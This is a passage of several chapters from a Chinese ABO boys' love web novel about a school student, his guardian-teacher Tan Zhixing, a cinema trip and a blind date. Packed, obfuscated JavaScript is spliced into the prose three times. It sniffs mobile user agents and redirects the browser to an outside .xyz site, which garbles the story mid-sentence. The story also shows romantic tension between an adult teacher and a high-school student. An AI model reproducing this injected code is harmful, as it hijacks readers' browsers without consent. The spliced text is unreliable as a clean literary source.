池燃老实地点点头。 池燃就那么盯着他,似乎非要问出个所以然来。 半晌,潭知行像是真没办法了,道,“我身体挺健康的。” “不谈恋爱......就是因为不想。” 池燃:“为什么不想?” 他不理解。 潭知行实在不想和池燃继续这个话题,抬手不轻不重地按了把他脑袋,“哪儿有那么多为什么?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16203349|181251||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “看书。” 池燃啧了声,“我发型!” 他呼噜呼噜自己的头发。 “周末我们要去看电影,你去不去?” “周末?”潭知行问,“哪天?” “周六。”池燃说,“白骁还没订票呢,他说要看下午两点多的,你要去的话我让他把你带上。” “去不了。”潭知行说,“有事。” 池燃哦了声,“好吧。” 周六还要加班,他还以为当大学老师很清闲呢。 他用笔头戳了戳了脸,又道,“对了。” “池燃,看书。” “正事。”池燃说。 潭知行这才又朝池燃看过去,真不知道给池燃讲课要讲到猴年马月才能讲完。 “又怎么了?” 池燃舔了舔嘴唇,“那个,我今天有点不舒服,我怕明天上学出什么意外,能不能......” 他试探地向潭知行伸出一根手指,“再让我咬一口?” “就一口。” 潭知行沉默两秒,应了下来,“可以。” “但是轻点。” 上次池燃把他后颈咬破,他一连穿了好几天的高领衣服。 池燃一听他同意了,忙点头,“嗯嗯嗯我保证。” 他凑近潭知行,“那,我咬了?” 潭知行认命地侧过身去,将后颈露给他。 池燃一口咬上去。一瞬间,信息素席卷向他,虽然微薄,但对Alpha来说也是致命的吸引。 潭知行这些天看了不少abo方面的小说,更了解了易感期Alpha的不适,池燃并没有像答应他那样放轻力道,许是根本控制不住,所以他没将池燃推开,而是默默忍耐着。 忽然,池燃从后环抱住了他。 潭知行僵了僵,“池——” 他连名字都没叫全,腰间环住他的力道又收紧了几分,池燃整个人都附在他身上,温热隔着衣服向他透过来。 他甚至能清晰地感触到池燃有力的心跳。 池燃已经被信息素迷晕了头,他是个未经世事的Alpha,这辈子第一次接触Omega信息素就是潭知行,如果潭知行真的算Omega的话。 那点淡薄的信息素并不能真正满足他,可也足够他沉溺。 他昏昏沉沉地从潭知行那里汲取着,过了不知道多久,才松下力道,嘴唇在那处皮肤上贪婪地蹭了蹭。 他怀里的人似是一抖,被他敏锐地察觉,误认为想逃脱。 他紧紧将潭知行扣住,“不要跑。” Alpha的占有欲作祟,冲晕了他的大脑,他齿尖衔住潭知行耳骨。 潭知行不知道要怎么形容自己的心情,一瞬间,那种奇异的,怪异的,骚动的,羽毛一样扇动着他浑身上下每一寸皮肤。他僵住,可心脏却不受控制,因为池燃的一句话,突兀地颤了两下。 “池燃。”他顿了顿,附上池燃环在他腰间的手,试图轻轻解开,“可以了。” “不可以。”池燃温热的喘息尽数落尽他耳朵里,“现在,你是我的了。” 潭知行心脏蓦然空了两拍。 他微微侧头,感受到那几缕柔软的发,声音不自觉喑哑几分。 “你知道自己在说什么吗?” 19. 第 19 章 小说里常写,易感期的Alpha受信息素影响,有时会控制不了自己的行为。 潭知行不确定这是不是真的。 直到片刻后,池燃茫然地和他对上视线,疑惑地啊了一声。 “什么?” 潭知行无奈地笑了声,将自己不安躁动的心收回肚子里。 看来池燃真的会被信息素影响。 “好了。”他揉了把池燃头发,“感觉好些了吗?“ 池燃懵懵地点点头。 他很想再要些,下意识地朝潭知行伸手,但抬高到一半又转道去摸了生物书。 还是收敛些吧。 他后知后觉地害羞,他刚才是不是说了什么不该说的话? - 周六,池燃和白骁季明野约在了商场门口见面。 季明野到得最早,池燃是卡着点到的,一见到季明野就挥着手朝他跑过去,“同桌!” 像只撒欢的小狗。 “你等很久了吗?”池燃问。 “没有。”季明野说,“早了十分钟而已。” “哦。”池燃朝四周看了看,还没发现白骁的身影,明明已经到了他们约好的时间了。 “我们先上楼取票?”他问季明野。 季明野:“好。” 池燃一边上楼一边给白骁发消息:你到哪了? 池燃:「我们先去电影院取票了,你快点。」 池燃:「你约人家你还迟到。」 他盯着手机看了会儿,白骁没回。 他轻轻啧一声。 “看路。”电梯到了尽头,季明野在一旁提醒他。 池燃忙收起手机,扬起一个灿烂的笑,“谢谢同桌。” 他们俩先取了电影票,又买了一人买了份套餐,给白骁的也带了出来,坐到一旁的椅子上等。 离电影开场还有十分钟,白骁不仅不见人影,连消息也不回,池燃真有点着急了。 这人到底搞什么? 他有点坐不住了,跟季明野说,“我去楼下看看。” 季明野点头,“嗯。” 池燃走出电影院,往扶梯的方向拐了个弯,和一股力道迎面撞上,把他撞得往后踉跄了两步。 “靠!”池燃刚想发火,再一抬头看眼前的人,愣了,“我草......” “你怎么搞成这样?” 白骁脸上挂了彩,左脸不知道被谁划了道,还在丝丝渗血,看着新鲜得很,衣服上都是土和灰,还没来得及拍干净。 白骁刚要说对不起,一看撞上的是池燃,立刻拉着他往电影院的方向走,“走走走,要迟到了。” “不是。”池燃拽着他停下,“你跟谁打架了?” 白骁一副倒霉样,哎了声说,“在公交车上碰到六中那帮人了,服了,我着急来找你们,没想跟他们打的。” “他们非要找茬。”白骁摊摊手,“喏,搞成这样了。” “季明野到了吧?”他问池燃。 “早到了。” “但是.....”池燃顿了顿,指向他,“你就打算这样去约会?” 白骁一脸“我也没办法”的表情。 池燃:“......” “算了,走吧。” 总比失约强。 季明野看到白骁的瞬间,几乎是倒吸了口气,眼睛都瞪大了。 没等白骁说话,池燃率先解释道,“跟人打架了,没事。” 白骁憨憨地笑了两声。 “走吧,去排队检票吧。” “等一下。”季明野叫住他们,说完,就在背包里翻了一阵,片刻,拿出几片创可贴来,还有一连便携的碘酒棉签。 池燃意识到接下来会发生什么,跑得比兔子还快,“那个,我去下卫生间!” 圆桌边就剩下白骁和季明野两个人,给白骁上药的工作,很明显就落到了季明野身上。 白骁一瞬间感觉自己心跳比坐过山车还快,“我没——” 在看到季明野拆棉签的时候,白骁把后半句话憋了回去。 他挺有事的。 他就差怒吼出来了。 老天,他上辈子修来的什么福分,居然能让季明野帮他上药?!! 白骁在心里都快变身流泪猫猫头了,但面上还很淡定,全程身体僵硬地让季明野帮他擦干了伤口,又把创可贴贴上。 “好了。”季明野说。 白骁往后撤了撤身子,同他拉开些距离,“谢,谢谢。” 他觉得自己热得快蒸发了。 “呃,你包里怎么会带这些?”白骁问。 “出门一般都会带。”季明野把包装皮拢到一起。 白骁一把抢了过来,“我去扔。” 正好这会儿池燃从卫生间出来了,碰到在垃圾桶旁边发愣的白骁,上前在他面前晃了晃手,“喂,你站这儿发什么呆?” 白骁:“......” 池燃看他这副模样,一下笑出了声,“你害羞啊。” 他喜气洋洋地揶揄道,“没想到,我们传说中的校霸,这么纯情?” 白骁捏着他后颈狠狠按了把,“敢说出去你就死了。” 池燃嘶了口气,揉着脖子,指指他,“你忘恩负义啊,是谁给你们创造机会的!” 白骁:“......” 他弯腰朝池燃拜了拜,“恩人。” 池燃:“......你倒是能屈能伸。” 来看这场的人不少,进到一片漆黑的影厅,池燃故意走第一个,想让白骁和季明野挨着,谁知道白骁一把把他拽了回来,小声道,“你坐中间。” 池燃:? 白骁:“我害怕。” 池燃:“怕啥?怕和他挨着坐。” 他恨铁不成钢,“你能不能有点出息——” 白骁:“怕鬼。” 池燃:??? 他瞪大眼睛。 “你有病啊,那你还约人家来看恐怖片?” 白骁跟在他身后,更小声回,“他喜欢看,我不买恐怖片我怕约不出来啊。” 池燃:“......” 服了。 傻子吗这不。 就这么,池燃坐到了白骁和季明野中间。其余两人对此都没意见,但池燃觉得自己像个电灯泡。 他以为白骁约季明野出来看恐怖片是为了享受那种‘对象害怕躲自己怀里’的快感,没想到他俩是反过来的。 他都有点想不明白白骁这么约季明野出来的意义在哪儿。 电影开场,一上来就是凄惨渗人的叫声,主角被鬼追着跑到胡同里。 镜头一切到鬼的画面,白骁就死死拽住了他胳膊。 偏偏这人力气还挺大,拽得他生疼。 他偏过头去和白骁说话,“你他妈,轻点行吗?你害怕就闭眼。” 白骁:“不行。” “万一一会儿他和我们讨论剧情怎么办?” 池燃咬牙,“你上网搜!” 过了五分钟,池燃实在受不了,他向右偏头和季明野搭话,“同桌,咱俩换个位置行不行?我这儿空调有点冷。” 季明野根本没多想,就点头答应了下来。 白骁眼看着池燃起身,刚想问他要去哪儿,就看见季明野也跟着他起身了,然后俩人交换了位置。 白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16203350|181251||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 骁:“......” 池燃是要毁了他吗...... 池燃落得个清净,安心欣赏起电影来。 他向来对这些牛鬼蛇神的戏份无感,反而觉得挺刺激的,但此刻,这个影厅里觉得最刺激的怕是白骁。 右手边是暗恋的人,面前是怕得要死的恐怖片。要面子还是要命,是个问题。 白骁一手死死抓着座椅扶手,一手抓着爆米花狂往嘴里塞,试图用食欲来压下恐惧。 忽然,他在黑暗中抓到了个温热柔软的东西,和爆米花很不一样。 白骁怔了两秒,用他有些僵住的脑子思考了下,才将视线朝右下方移过去。 ...... 他抓住了季明野的手。 季明野眼睛明亮,在黑暗中盯着他,似乎想说什么。 白骁猛然松开了手,像触电似的,说话也结巴,“对对对不起。” 他像个做错事的小学生,面对季明野,垂下了眼,“我不是故意的。” 半晌,季明野嗯了声,“没事,看电影吧。” 白骁:“......哦,好。” 他将目光直直移回大荧幕,突然连鬼都不怕了,整个人像灵魂出窍一样,魂都不知道飘哪里去了。 他,牵,到,了,季,明,野,的,手。 季明野,的,手! 白骁觉得自己要晕掉了。 有没有人能来救救他? 从电影院出来,白骁还有点飘忽忽的,走路都不稳。 池燃还以为他是被吓的,不禁对他产生了怜悯心,上前拍拍他的背,“没事的,都是假的,回家睡一觉就忘了。” 白骁:“嗯......” 他都没心思和池燃争辩了。 五点多了,池燃看了看时间,提议道,“我们一起吃个饭?” 季明野:“我得回家了,我爸妈不让我太晚回去。” 池燃点点头,“哦,好吧。” 他本来想让季明野多和他们待会儿,但季明野这么说,他也不好强留。 “那你回去路上小心,到家给我们发消息。” 季明野微笑,“好。” 他朝他们挥手,“拜拜。” 白骁这时候才回过神来,也对季明野挥了挥手,“拜拜。” 他犹豫了下,又补上句,“周一见。” 季明野:“周一见。” 等季明野走了,池燃才拍了下白骁,试图把他的魂给拍归位,“就咱俩了,你可以正常点了吧。” 白骁略有没精打采地嗯了声,没想到和季明野相处的时间过得这么快。 “吃啥?”他问池燃。 池燃耸耸肩,“不知道,在附近转转吧。” 他们在商场转了圈,把所有饭店看了个遍,都没能在吃什么这件事上达成共识,最后出了商场来到隔壁的商业街。 “要不吃那家火锅?”白骁往前方指了指,“我听说他家还不错,没吃过。” 池燃摇头,“不吃火锅。” 白骁都有点没耐心了,他叉起腰来,“那你说,你吃啥,我跟你去。” “那儿还有西餐。”他又往街对面一指,随后动作忽然顿住,“哎,那不是潭哥吗?” “嗯?”池燃立刻顺着他指的方向看过去。 潭知行果真在那儿,一身米色西装,昏黄灯光下,把他照得好看。 白骁搭上他的肩膀,和他一起认真看,“潭哥对面那男的......是谁啊?” “你见过吗?”他问池燃。 池燃摇头。 白骁疑惑了下,“他们干嘛呢?” “相亲?” 20. 第 20 章 白骁摸着下巴,似乎觉得自己的分析很有道理,“哦......我之前就听说过,还有挺多人给潭哥介绍相亲的。” 本来没多想,只顾着欣赏潭知行美色的人忽然被“相亲”两个字刺中了某根神经。 池燃:“我们去吃西餐吧。” 白骁:? 他一愣,说,“行啊。” “去潭哥吃的那家?” 池燃:“对。” 他说着,拽起白骁的胳膊过马路。 白骁对吃西餐这事没意见,对去给潭知行相亲凑热闹也没意见,就顺着池燃了。 进了西餐厅,服务生问他们几位,有没有预约。 白骁:“哦,我们找人,就——” 池燃:“两位。” 白骁:? 服务生:“好的,这边请。” 池燃看他要把他们往和潭知行相反的方向领,便指了下问,“我们坐那儿行不行?” 服务生看了眼,随即道,“也可以的。” 池燃:“那我们就坐那儿。” 白骁一步一步跟在池燃后面,小声问,“喂,咱不跟潭哥坐一起?” 池燃:“人家相亲,咱俩去凑什么热闹?” 白骁:“......” 他心说,咱俩不就是来凑热闹的吗? 他们的位子就在潭知行后面一个,两张桌子之间隔着屏风,潭知行又刚好背对着他们坐,看不到他们走过来。 池燃和白骁坐下,服务生将菜单递给他们点菜。池燃的心思完全不在吃什么上,就随便点了份招牌推荐菜,白骁倒是认认真真挑了半天,才把菜单还给服务生。 白骁:“谢谢。” 池燃拍了白骁一把,“你小点声。” 白骁低声:“哦哦。” 服务生古怪地看看他们,拿着菜单走了。 白骁也跟着池燃往后靠过去,“我听听,说啥呢?” 池燃跟他比了个“嘘”的手势。 - “我姐给我介绍的时候说您长得很帅,我一开始不信,差点就找个借口爽约了,还好来了,比我姐形容得还要帅。” 听对方这么说,潭知行笑笑,垂眼抿了口茶。 说实话,他相亲的次数并不多,能推掉的都推掉了,只有推不掉的才会硬着头皮来。 以他的作风,也不会一见面就说自己并没有相亲意向,是迫不得已才会来,通常是愉快和谐的吃过一顿饭后再拒绝说觉得不合适。 更何况陈渡的姐姐和他是同事,时常抬头不见低头见,又帮过他,他更要礼貌些。 “过奖了。”潭知行道。 “听你姐姐说,你是在做美妆博主?” “是啊。”陈渡点头,随后又叹口气,“男生其实不太好做美妆系列,受众不多,但是我挺喜欢的,就做下去了,现在收入也还行吧。” 潭知行嗯了声,放下茶杯,“喜欢就好。” “潭老师你呢?”陈渡问,“我姐说你是教生物的,说你特别厉害,得过什么什么奖。”他爽朗地笑了两声,“我也记不住,上学的时候我就学习一般,感觉你们这些读博当大学老师的特别厉害。” “还好。”潭知行说,“大学老师也没看上去那么光鲜,忙起来的时候也很累。” 陈渡若有所思地点了点头。 片刻,他眼睛一转,笑了笑,“潭老师,能不能问你一个比较私人的问题?” 潭知行点头,“可以。” “我想问......你为什么到现在还没结婚啊?” 陈渡说,“以您的条件,按理说应该早就结婚了,就算是因为同性婚姻刚合法,那也应该有长期固定伴侣了,怎么会到要相亲的地步?“ 潭知行似是早猜到对方会问类似的问题,不慌不忙道,“我并不觉得相亲是什么不好意思见人的事情,年轻的时候我忙于学业,没有太多时间关注感情问题,转眼间才发觉自己已经三十岁了,到了要成家立业的年纪。更何况,我觉得相亲是种更为稳妥的进入婚姻的方式,所以才会选择相亲。“ 陈渡像对他的回答很满意,也解答了自己心里的疑虑,点了点头后认真问,“那,潭老师,你觉得我怎么样?” “如果可以,我们可以试着从朋友——” 陈渡正说着,眼前忽然不知道从哪里冒出来两个小孩。 池燃几乎是一瞬间就冲出去了,白骁拉都拉不住,反倒被他扯了个踉跄。 说好的不凑热闹呢? 池燃一副怒气冲冲的模样,眼见场面尴尬,白骁朝潭知行“嗨”了一声,硬着头皮道,“这么巧啊潭哥,你也在这儿。” 潭知行愣了愣,目光在两人之间游移,最后定在池燃身上,“你们怎么在这儿?” 白骁挠头哈哈笑,“我们,我们看完电影饿了来吃饭啊,池燃说他想吃西餐,我俩就来了,没想到能遇到你。” 陈渡也看了看两人,本以为是潭知行的朋友,但看俩人身上的气质,明显还是学生。他不确定地问道,“潭老师,这是......?” 潭知行:“我朋友家的小孩。” 陈渡哦了声,随即和他们打招呼,“你们好。” 白骁点头哈腰,“你好你好哥哥,那个,我俩能不能和你们拼个桌啊?我俩刚点好菜。” 陈渡看了眼潭知行,见潭知行没有要阻拦的意思,便应了下来,“好啊。” 白骁:“谢谢哥哥,你人真好。” 他用力把‘木乃伊’池燃往潭知行身边一推,自己在陈渡旁边坐下了。 随后朝服务生招手,“你好,我们那桌的菜上这桌来就行!” 白骁被迫营业,傻呵呵地朝大家笑,和一直板着张脸不说话的池燃形成鲜明对比。 他主动缓和气氛,“你们的菜也还没上呢。” 陈渡:“嗯,这家店就是上菜慢点。” 白骁揉揉肚子,“哎哟我都饿了。” 潭知行往旁边瞥了眼,发现池燃情绪很不对,男生耷拉着眼皮,脸上也没神色,一副不高兴的模样。 他琢磨了下,问,“你们看了什么电影?” 白骁:“恐怖片,可吓人了。” 潭知行为池燃的冷脸找到了解释,他轻声问,“吓到了?” 池燃这才不咸不淡地开口“啊”了声。 白 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潭知行前几天才对他说自己没兴趣谈恋爱,今天倒来相亲了,还表现得那么积极。 怎么?没兴趣恋爱倒是有兴趣相亲? 那么喜欢相亲? 而且他明明邀请过潭知行一起来和他们看电影,潭知行说自己有事,所以有事就是指相亲?为了相亲拒绝了他看电影的邀请?!还有,一旦潭知行相亲成功了,那他假扮男友的身份不就不保了??? 想到这儿,池燃暗中狠狠瞪了潭知行一眼。 那么喜欢相亲就去相个够!把全世界的人都去拉来相亲!相他个三千六百五十遍! 他觉得自己生气的点在于潭知行没跟他说实话。 可除此之外,还有一点别扭,他说不上来。 他们又闲聊了几句,服务生把几人的菜端上来了。 潭知行看了眼,自然地把自己的和池燃的那份调换了下。 池燃一愣,问他,“干嘛?” 潭知行:“不是不吃西红柿和胡萝卜?真被吓呆了?” 池燃:? 他垂眼往自己盘子里一瞅,暗骂了句。 靠,还真是。 点菜的时候他怎么没注意到? 池燃:“......行吧。” 他接过潭知行的那份,还真没有他不吃的配菜。 白骁咬着叉子问,“潭哥,你那份牛排看着不错,咱俩也换下?” 潭知行笑了下,“行。” 他把盘子给白骁递过去。 陈渡对潭知行的好脾气很是意外,心中更生出几分欢喜。看来他姐给他介绍的人还真不错。 “潭老师,你平时都喜欢做些什么呀?”他接着和潭知行聊起来。 “会健身,看书。”潭知行说,“有时间也会做饭,不过更多时候,是在看文献,做实验。” “这样啊。”陈渡笑笑,又问,“那你喜欢看什么类型的书啊?我挺喜欢看科幻类的。” 池燃大口咬下一口肉,边嚼边替潭知行回答,“他喜欢看育儿书。” 21. 第 21 章 空气似乎凝结了几秒,饭桌上只有池燃还吃得很香。 陈渡一时不知道该说什么好,尴尬地笑了两声。白骁倒是知道这会儿的战场和自己没关系,低下头不吭声猛吃饭。 半晌,潭知行也笑了笑,坦然解释道,“是青少年心理学方面的书。” “我现在当老师,和学生们接触得多,所以需要多了解一些这方面的知识,方便我能和他们相处得更好,有利于开展工作。” 他面上没有半点尴尬和窘迫,池燃朝他瞥过去一眼,心说潭知行还真是会给自己找理由,说得冠冕堂皇的。 陈渡听完,显然才松下一口气,笑道,“原来是这样啊。” 他差点就以为自己遇到什么变态了。 潭知行:“嗯,工作需要。” 陈渡将心收回肚子里,低头吃了两口菜。 这时候潭知行才略微偏头,和池燃对上视线。他眼底没有责怪,只是对池燃为什么这样做感到好奇。 可池燃理直气壮地瞪了他一眼,似乎在说:我说得不对吗? 潭知行无奈地收回视线。 “对了。”陈渡抬头,像是想到什么很有意思的事情,眼睛一弯,道,“潭老师,听我姐说,你还会看BL小说?” 他用手背挡住笑,“真的挺稀奇的,和你本人感觉好反差。” 此话一出,池燃也用不可思议地眼神看向潭知行。 潭知行还会看BL小说? 他没看出来潭知行有这方面的癖好啊? 白骁咬着牛排,在脑子里画了个问号:BL小说是啥? 潭知行笑了声应道,“是,会看一点。” 陈渡接着道,“她还说你和她是同担呢,她最喜欢的那本叫什么来着?”陈渡作思考状,问潭知行,“是本abo小说吧?” 潭知行点头,“对。” 陈渡忍不住感叹,“潭老师,你还真的挺......”他想了想,憋出一个词来,“紧跟潮流。” 都说三岁一个代沟,潭知行比他大了六岁,他原本还以为沟通起来会有些困难,但潭知行和他想象中的很不一样。 潭知行笑笑,“谢谢。” 池燃这会儿倒是有点愣了。 潭知行看的BL小说竟然还是abo? 首先,他们abo世界竟然可以是种小说题材吗? 其次,潭知行为什么要看abo小说? 池燃冒出个自己都觉得不太靠谱的想法。 潭知行,是为了他吗? 许是陈渡也觉得有两个小孩在桌上碍事,后半程便没有再和潭知行提起跟相亲有关的事,几个人闲聊些有的没的,一顿饭吃得还算安生。 他们在餐厅前分开,陈渡先上了车,白骁和潭知行在门口商量着要不要送他一程,没两分钟,陈渡又从车上下来了。 他绕到车子右后方,踩了两脚轮胎,随后露出有些犯难的表情。 潭知行注意到他,顺口问了句,“怎么了?” “车胎不知道什么时候漏气了。”陈渡挠挠头,“耽误事,我一会儿还约了健身教练上课。” 他叹口气,掏出手机来,“算了,我跟教练说今天不去了,找个补胎的来。” 潭知行犹豫片刻,道,“在哪儿上课?我可以送你。” 池燃一听这话,顿时叉起腰来。 他之前怎么没发现潭知行这么乐于助人? 陈渡顿了下,很明显对潭知行的提议有些心动,“可以吗?稍微有点远,开车过去可能得四十分钟。” 他朝潭知行摆手,“太麻烦了,还是算了吧。” “不麻烦。”潭知行道,“我晚上也没事。” 陈渡犹豫几秒,锁了车走上前来,笑道,“好,那谢谢潭老师了。” 潭知行转头问白骁,“先送他去健身房,再送你回家,行吗?” 白骁对此半点意见也没有,反正就是坐车兜风,都一样。 他正要点头,突然被池燃扯了一把。 池燃:“不行。” 他面上没什么表情,“我俩玩了一天,一点作业都没写,得赶紧回家写作业。” 白骁:“......” 他左右脑互搏了一阵,到底该说行还是不行? “我俩自己回去。”池燃说。 “你送他吧。”他撂下这么一句,转身扯着白骁走了。 白骁:“哎!” 他被迫被池燃拽着胳膊倒退着走,用另一只手朝潭知行挥,“那什么,潭哥,那我俩走了,拜拜!” “还有那个帅哥哥,拜拜!”他还不忘和陈渡打招呼,但这句话刚说完,就被池燃狠狠掐了把。 “我草!”他一下甩开池燃,揉了揉自己胳膊内侧的肉,“你干什么!” 池燃不理他,继续大步往前走,转眼就走出一条街去。 白骁无奈地摇摇头,小跑几步跟上他,“你又发什么疯,谁惹你了?” 池燃猛一下回过身来,白骁差点和他撞上,好在他平衡力还算好,保持在一定距离停下了。 “我草,你又——” “见色忘义吃里扒外忘恩负义!” 白骁:? 说谁呢?他? 池燃几乎咬牙切齿,“你小心我告诉季明野你觉得别的男人长得好看!” 白骁:“啊?” 他困惑地揉了把头发,“不是,这都哪儿跟哪儿啊?” “我没觉得他好看,他哪儿比得上季明野,再说他是潭哥的相亲对象,他好不好看跟我有什么关系?” 正当他不解时,看见池燃咬着下唇,表情从愤怒变为一种类似委屈的情绪,眉头蹙着,看着像快哭了。 白骁一瞬间福至心灵:池燃不会是在......吃醋吧? 因为潭知行相亲? 想到这儿,他挑了挑眉。 “你......” “对不起。”池燃突然说,“不该那么说你,我有点......” 他也不知道自己怎么了,就是很奇怪。本来不是什么大事,可他的情绪却一下被点着了。 白骁上前拍了拍池燃的肩,“哎,没事没事。” 说实话,这种感觉他还挺理解的,没资格吃的醋最醋了。 “你要回家写作业吗?”为了转移池燃的注意力,他提议道,“要不,咱俩上网去?哥请你。”他作大方样,拍拍池燃。 池燃甩开他的手,“滚,别占便宜。” 他想了想,道,“不去了,回去写作业吧,那么多卷子呢。” 白骁有点意外,但也得应下来,“呃,行吧。” - 车内空间静谧,暖风把人烘得暖洋洋的。广播里传来的也是舒缓的轻音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16203352|181251||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乐,恰巧使得这样的氛围暧昧几分。 潭知行目视前方,一路按着导航开车,在一个十字路口前的红灯停下。 “潭老师。”沉默片刻后,陈渡率先开了口,“刚才吃饭的时候,我的问题你还没回答。” 潭知行闻言侧目看去,“嗯?” 陈渡微微一笑,把自己的问题又重复了遍,“我是说,你觉得我怎么样?” “我觉得你很好,所以想和你试着再进一步了解一下。” 潭知行似有意外,他看了陈渡片刻,随后微垂下眼。 他没想到陈渡会这么直接。以往的相亲,都是聚餐结束之后才会讨论这个话题,不用面对面沟通,拒绝起来会轻松些。 可如今陈渡这么问了,他也没办法回避。 “抱歉。”他说,“我觉得,我们还是不太合适。” “不是你的问题,是我......”他顿了顿,绞尽脑汁想编个合理的借口出来。 可这次相亲本就是他为了还人情才来的,哪儿有那么多合理又体面的借口可让他用。就这么犹豫了半晌,他才憋出后半句,“我希望我的结婚对象可以和我相差三岁以内。” 硬性条件。 他对上陈渡的视线,礼貌又无奈地一笑,“我毕竟是老师,如果年龄差比较大,难免会被传闲话。” “所以.....“ 陈渡稍显落寞地哦了一声,但看起来是接受了潭知行的说辞。 他点点头,“也是。” 潭知行暗暗松了口气,“嗯,抱歉。” 红灯灭了,潭知行启动车子,陈渡害了声,朝他摆摆手,“那就算了。” 他开玩笑道,“怪我,晚生了几年。” 潭知行将陈渡送到健身房楼下,道别后返程。 中途他给池燃发了次消息,问池燃到没到家,但池燃没回。 想到池燃的性子,可能是和白骁跑去哪里玩了,他又拨通了白骁的电话。 电话一接通,他直截了当地问,“你们在哪儿?” 白骁“啊”了声,“潭哥,我在家啊。” 潭知行:“池燃没和你在一起?” 白骁:“没有啊。我俩在路口就各自打车走了。” 潭知行轻叹口气。 白骁一听就觉得不对劲,问潭知行,“咋了潭哥,池燃又不见了?” 潭知行:“还不知道,他没回我。” 池燃怎么这么喜欢玩离家出走和断联这套? 他又哪里惹到他了? “我先回家看看吧。”潭知行说,“挂了。” 白骁:“哦好,你找到他跟我说一声啊潭哥。” 挂下电话,白骁转了转笔,片刻后啧了一声。 看来池燃还在生潭知行的气。 潭知行回到家,将车停好,进电梯上楼。 站到家门口,他点亮电子锁,输密码开门。 两秒后,电子锁“滴”的一声,提示他,“密码错误。” 潭知行愣了愣,怀疑是自己哪下手滑按错了键。 他又仔细输了遍密码,六位数字。 “密码错误。” 潭知行收回了手。 他家门的密码锁试错三次就会自动报警,排除掉门锁坏掉的可能,那就只剩一种可能了。 他拿出手机给池燃发消息:「开门。」 22. 第 22 章 池燃收到消息这会儿正在写作业,他故意不想理潭知行,看完那两个字,又把手机屏幕按灭了。 可随即潭知行的电话又打了过来。 池燃犹豫两下,还是接了。 “池燃。”对方声音听上去很无奈,“你改门锁密码了?” 池燃扁扁嘴,故意不承认,“可能门锁坏了吧。” 潭知行:“......” 他沉下口气,"过来给我开门。" 池燃:“我忙着呢。” 潭知行捏了捏眉心。 他没想到自己还有被拒之门外,回不去自己家的一天。 “池燃。”他无奈道,“你到底在闹什么脾气?” 可惜对方没回答他,两秒后,啪嗒把电话挂了。 潭知行一阵沉默。 他收起手机,又在门外站了会儿。 池燃不想让他进门,明显又拒绝沟通,那他今晚怕是真回不了家了。 去外面找个酒店住? 潭知行这么想着的时候,门锁“咔哒”一声开了。 门被推开一个小缝,池燃看也没看他一眼,回身往屋里走。 潭知行跟进去,“池燃。” “我们谈谈。” 池燃没理他,回了自己的房间,坐到位子上拿起笔,头也不抬。 “池燃。”潭知行站到房间门口,看他,“你怎么了?” “我很好。”池燃声音听不出什么情绪,“我很忙,作业很多,麻烦你关门,不要打扰我。” 潭知行:“......” 他跟池燃一起生活了这么多天,就算是傻子也能看出来他情绪不对。 “池燃......” 他还想再说点什么,可池燃猛地把笔往桌子上一摔,打断了他。 “我说了我没事!”池燃眉眼锋利起来,“别管我!你爱干嘛干嘛,爱跟谁相亲跟谁相亲,爱送谁回家就送谁回家!” 潭知行:“......?” 池燃发完火,眉头蹙了蹙,又捡起笔来,低头写卷子。 说实在的,他倒是真希望潭知行现在别理他。 仔细想来,他们之间不是需要解释那么多的关系。 潭知行沉默片刻,转过身去,正想离开,可蓦地,他又顿住步子。 也许还是得跟池燃解释点什么。如果他什么都不说,池燃会更难受。 他转回身,“池燃,我去相亲,只是为了还个人情,除此之外,我没有其他想法。” “送他一段路也是,出于礼貌。” 他顿了顿,“就这样。” 池燃终于停下笔,偏头向他看过来,瓮声瓮气地问,“就这样?” 潭知行:“嗯。” “你没有想谈恋爱结婚?你没骗我?” “嗯。” 池燃垂着眼沉默两秒,“要是以后你结婚了——” “没有以后。”潭知行打断他。 ''我怎么办?'' 听到潭知行这么说,池燃才把后半句咽了回去。 “行吧。”他突然觉得胸口没那么堵了。 “密码是我生日。”他说。 潭知行:“好,我知道了。” 原本没有什么要说的话了,但潭知行还是在门口站了半晌。 “池燃。”他开口,“我明天要出差,大概一周。” 池燃神色间忽然透出慌张,“一周?这么久?什么时候的事?你怎么不提前说?” 潭知行:“刚接到的通知。” 他顿了顿,“你自己在家,没问题吧。” 池燃没精打采地点点头,“哦,我没事。” 潭知行嗯了声,随后将房门替他关上,“不打扰你了,写作业吧。” 空旷的房间内一片安静,潭知行甚至能清晰地感触到自己的心跳。 他不知道自己什么时候这么会说谎了,这种程度的谎话也可以张口就来。 可,不说谎似乎不行。 没有更好的借口能让他和池燃分开一段时间了。 